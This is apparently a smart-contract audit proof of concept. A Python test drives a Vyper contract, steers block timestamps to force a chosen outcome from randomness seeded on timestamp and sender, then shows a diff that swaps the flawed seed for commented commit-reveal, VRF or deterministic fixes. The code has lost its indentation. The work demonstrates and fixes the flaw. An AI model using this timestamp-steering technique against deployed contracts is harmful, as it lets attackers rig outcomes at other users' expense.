import boa
import pytest
COMPANY_PATH = "src/Cyfrin_Hub.vy"
ENGINE_PATH = "src/CustomerEngine.vy"
ITEM_PRICE = 2 * 10**16
MAX_REQUEST = 5
MAX_COST = ITEM_PRICE * MAX_REQUEST
def setup_company_and_engine():
owner = boa.env.generate_address()
boa.env.set_balance(owner, 10**21)
with boa.env.prank(owner):
company = boa.load(COMPANY_PATH)
engine = boa.load(ENGINE_PATH)
company.set_customer_engine(engine.address)
company.fund_cyfrin(0, value=10**19)
company.produce(100)
return owner, company, engine
def _requested_from_sale(company, before_balance, after_balance):
SALE_PRICE = 2 * 10**16
delta = after_balance - before_balance
assert delta % SALE_PRICE == 0, "Delta not a multiple of SALE_PRICE; ensure holding cost is zero"
return delta // SALE_PRICE
@pytest.mark.usefixtures()
def test_predictable_randomness_by_timestamp_and_sender():
owner, company, engine = setup_company_and_engine()
base_ts = company.last_hold_time()
userA = boa.env.generate_address()
userB = boa.env.generate_address()
boa.env.set_balance(userA, 10**21)
boa.env.set_balance(userB, 10**21)
boa.env.set_block_timestamp(base_ts + 61)
beforeA = company.get_balance()
with boa.env.prank(userA):
engine.trigger_demand(value=MAX_COST)
afterA = company.get_balance()
reqA = _requested_from_sale(company, beforeA, afterA)
boa.env.set_block_timestamp(base_ts + 61 + 1)
beforeB = company.get_balance()
with boa.env.prank(userB):
engine.trigger_demand(value=MAX_COST)
afterB = company.get_balance()
reqB = _requested_from_sale(company, beforeB, afterB)
assert reqA != reqB, (
"Different msg.sender values at essentially the same time produced the same demand; "
"expected variability from seed(msg.sender, timestamp)"
)
target = 5
found = False
for i in range(1, 20):
ts = base_ts + 61 + i * 120
boa.env.set_block_timestamp(ts)
before = company.get_balance()
with boa.env.prank(userA):
engine.trigger_demand(value=MAX_COST)
after = company.get_balance()
req = _requested_from_sale(company, before, after)
if req == target:
found = True
break
assert found, "Failed to hit target requested=5 by timestamp steering; try increasing search range."
print(f"[PoC] Found timestamp that yields requested={target} for userA")
boa.env.set_block_timestamp(base_ts + 61 + 5000)
beforeC = company.get_balance()
with boa.env.prank(userA):
engine.trigger_demand(value=MAX_COST)
afterC = company.get_balance()
reqC = _requested_from_sale(company, beforeC, afterC)
assert 1 <= reqC <= MAX_REQUEST, "Demand should be within the 1..MAX_REQUEST cap"
- # Pseudo-random based on timestamp and sender (manipulable)
- seed: uint256 = convert(
- keccak256(concat(convert(block.timestamp, bytes32), convert(msg.sender, bytes32))),
- uint256,
- )
- base: uint256 = seed % 5
- if (seed % 100) < (rep - 50): # extra_item_chance uses same seed
- extra_item_chance = 1
- requested: uint256 = base + 1 + extra_item_chance
- requested = min(requested, MAX_REQUEST)
+ # Option A: Commit–Reveal (two-phase) — resistant to miner/user manipulation
+ # Phase 1 (user): commit(bytes32 commit_hash)
+ # Phase 2 (later): reveal(bytes32 salt) -> verify keccak256(salt, msg.sender) == commit_hash
+ # Use the *previous* block hash in the reveal phase:
+ # seed = keccak256(concat(blockhash(block.number - 1), salt, msg.sender))
+ # Then derive requested from seed. This prevents same-tx manipulation and reduces miner control.
+ # (Requires adding commit/reveal storage + timing checks.)
+ # Option B: External randomness (VRF / beacon)
+ # Integrate a verifiable randomness oracle (e.g., VRF) to obtain an unbiased seed:
+ # seed = vrf_randomness
+ # Then: requested = (seed % MAX_REQUEST) + 1
+ # (Be explicit about trust/cost and handle async callbacks.)
+ # Option C: Deterministic demand (no randomness)
+ # If randomness isn't essential, define demand deterministically from reputation and rate limits,
+ # removing timing games entirely.